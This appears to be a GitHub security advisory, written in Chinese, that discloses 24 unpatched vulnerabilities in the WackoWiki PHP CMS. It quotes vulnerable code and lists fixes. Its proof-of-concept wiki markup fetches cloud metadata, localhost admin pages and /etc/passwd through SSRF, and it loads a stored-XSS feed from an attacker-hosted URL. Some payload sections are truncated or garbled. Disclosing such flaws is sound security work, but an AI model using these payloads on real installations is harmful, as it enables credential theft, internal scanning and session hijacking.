Kimdir01/wackowiki-multi-vuln-cve
GitHub: Kimdir01/wackowiki-multi-vuln-cve
针对 PHP Wiki CMS 系统 WackoWiki 的安全审计 PoC 报告,详细披露并分析了 SSRF、存储型 XSS、反序列化等 24 个漏洞及其修复方案。
Stars: 0 | Forks: 0
# GitHub 安全公告:WackoWiki — SSRF、存储型 XSS、反序列化身份验证绕过、CSRF
## 公告信息
| 字段 | 值 |
|-------|-------|
| **严重程度** | Critical / High |
| **CWE** | CWE-918 (SSRF) / CWE-79 (XSS) / CWE-502 (Deserialization) / CWE-352 (CSRF) |
| **CVSS v3.1** | 9.1 (SSRF) / 8.8 (Stored XSS) / 8.1 (Deserialization) |
| **CVSS Vector** | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
## 概述
WackoWiki (PHP wiki CMS) 包含 24 个漏洞:(1) 通过 SimplePie feed action 导致的 Critical SSRF,可访问云元数据;(2) 通过未经审查的外部 feed 内容导致的存储型 XSS;(3) 在 session/cache 处理中通过 `unserialize()` 导致的 PHP Object Injection;(4) 12+ 个 handler 缺乏 CSRF 保护;(5) Email header 注入;(6) XML 导入中的 XXE。
## 漏洞详情
### 受影响的 Package/Repository
- **Repository:** `WackoWiki/wackowiki`
- **受影响版本:** Current
- **已修复版本:** N/A (0-day)
**Commit Hash (已审计):** `c4bef453a04638344516fcaa5af29327979c4154`
## CVE-REQUEST-001:通过 Feed Action 导致的 SSRF (CVSS 9.1)
**文件:** `src/action/feed.php`,第 64、83-86 行
```
$urlset = explode('|', $url); // $url from wiki markup {{feed url="..."}}
$feed = new SimplePie();
$feed->set_feed_url($urlset); // Attacker-controlled URL
$feed->enable_cache(false);
$feed->init(); // Fetch from ANY URL
```
任何拥有页面编辑权限的用户都可以使用 `{{feed url="http://169.254.169.254/latest/meta-data/"}}` 让服务器获取任意 URL。SimplePie 会跟随重定向并支持多种协议。管道符分隔的 URL 支持多 endpoint 探测。
**PoC (wiki markup):**
```
{{feed url="http://169.254.169.254/latest/meta-data/"}}
{{feed url="http://localhost:8080/admin"}}
{{feed url="file:///etc/passwd"}}
{{feed url="http://internal1|http://internal2|http://internal3"}}
```
## CVE-REQUEST-002:通过外部 Feed 内容导致的存储型 XSS (CVSS 8.6)
**文件:** `src/action/feed.php`,第 230-231 行
```
$tpl->content = $images
? $item->get_content() // RAW HTML — NO SANITIZATION
: $item_content($item->get_content()); // Only strips
tags
```
当 `$images=1`(默认值)时,原始的 RSS/Atom feed 内容在输出时没有任何清理。当 `$images=0` 时,只会移除 `
` 标签 —— `]]>
```
Wiki markup:`{{feed url="https://attacker.com/evil.xml"}}`
## CVE-REQUEST-003:通过反序列化导致的 PHP Object Injection (CVSS 8.1)
**文件:** `src/class/ut.php`,第 370-377 行
```
static function unserialize($text)
{
return (substr($text, 1, 1) === ':' && ctype_lower($text[0]))
? unserialize($text) // UNSAFE — no allowed_classes restriction!
: json_decode($text, true);
}
```
**调用者(8+ 个位置):**
- `class/session.php:176` — 来自存储的 session 数据
- `class/settings.php:25` — 设置缓存
- `class/dbal.php:225` — SQL 缓存
- `admin/common/database.php:207` — 备份日志
- `admin/module/db_restore.php:178,546` — 恢复
门控检查 (`substr($text, 1, 1) === ':'`) 极易被绕过 —— 任何标准的 PHP 序列化数组 (`a:...`) 或对象 (`O:...`) 都可以通行。如果攻击者能够写入 cache 文件、session 存储或备份文件,就可以通过 POP gadgets 触发任意代码执行。
## CVE-REQUEST-004:所有 12+ 个 Handler 均无 CSRF 保护 (CVSS 8.8)
**受影响的 Handler(无 CSRF token 验证):**
- 登录、注册、用户设置、更改密码
- 页面编辑、创建、重命名、删除、清除、克隆
- 页面权限、添加评论
只有 `admin/admin.php:38` 具有 CSRF 保护。所有面向用户的 handler 均未受保护。
**PoC (CSRF 页面删除):**
```
```
## 其他发现(共 24 项):
| # | 漏洞 | CVSS | 类型 |
|---|--------------|------|------|
| V-2 | 通过系统消息导致的存储型 XSS | 8.8 | XSS |
| V-6 | 通过配置生成导致的 PHP code 注入 | 8.0 | RCE |
| V-7 | 安装程序中通过 set_language() 导致的 LFI | 7.5 | LFI |
| V-8 | massemail 中的 Email header 注入 | 7.5 | Header Injection |
| V-9 | 通过未转义的 URL 导致的 Embed action XSS | 7.6 | XSS |
| V-10 | include action 中的正则表达式注入 (ReDoS) | 5.3 | DoS |
| V-11 | IDOR — 任何用户均可声明页面归属 | 5.4 | IDOR |
| V-12 | 用户/组名中的存储型 XSS | 5.4 | XSS |
| V-14 | 通过 XML 导入导致的 XXE | 5.5 | XXE |
| V-15 | 文件上传双扩展名绕过 | 4.9 | File Upload |
| V-17 | 配置权限验证 bug | 4.3 | Logic Error |
| V-18 | 弱 session ID 生成 | 4.2 | Weak Random |
## 影响
- 通过 SSRF 实现**云元数据访问** (AWS、GCP、Azure IMDS)
- 通过管道符分隔的 URL 探测进行**内网扫描**
- 通过影响所有 wiki 访问者的存储型 XSS 实现**session 劫持**
- 如果攻击者写入 cache/session 存储中,可通过 **POP 链实现 RCE**
- 通过所有 handler 的 CSRF 实现**完全接管 wiki**
- 通过 massemail 中的 header 注入实现**电子邮件垃圾邮件/钓鱼**
## 补丁 / 修复
1. 为 feed action 添加 URL 白名单或屏蔽私有 IP
2. 对所有 feed 内容进行 HTML 转义 (`htmlspecialchars($item->get_content())`)
3. 在所有 `unserialize()` 调用中添加 `['allowed_classes' => false]`
4. 为所有 POST handler 添加 CSRF token 验证
5. 在 massemail 中对电子邮件主题进行 CRLF 清理
6. 文件上传使用 `basename()` + 扩展名白名单
7. 修复配置权限验证逻辑
## 披露时间线
- **2026-06-28:** Fatullayev Asadbek (Kimdir01) 发现了全部 24 个漏洞
- **TBD:** 报告给 WackoWiki 维护者
- **TBD:** 通过 GitHub 请求 CVE
- **TBD:** 发布公告
## 致谢
- 发现者:Fatullayev Asadbek | GitHub:Kimdir01
- 独立安全研究员
## 参考
- CWE-918:Server-Side Request Forgery (SSRF)
- CWE-79:Cross-Site Scripting
- CWE-502:Deserialization of Untrusted Data
- CWE-352:Cross-Site Request Forgery
标签:CISA项目, CSRF, Maven, SQL查询, SSRF, Web安全, XSS, 多线程, 漏洞情报, 漏洞验证, 蓝队分析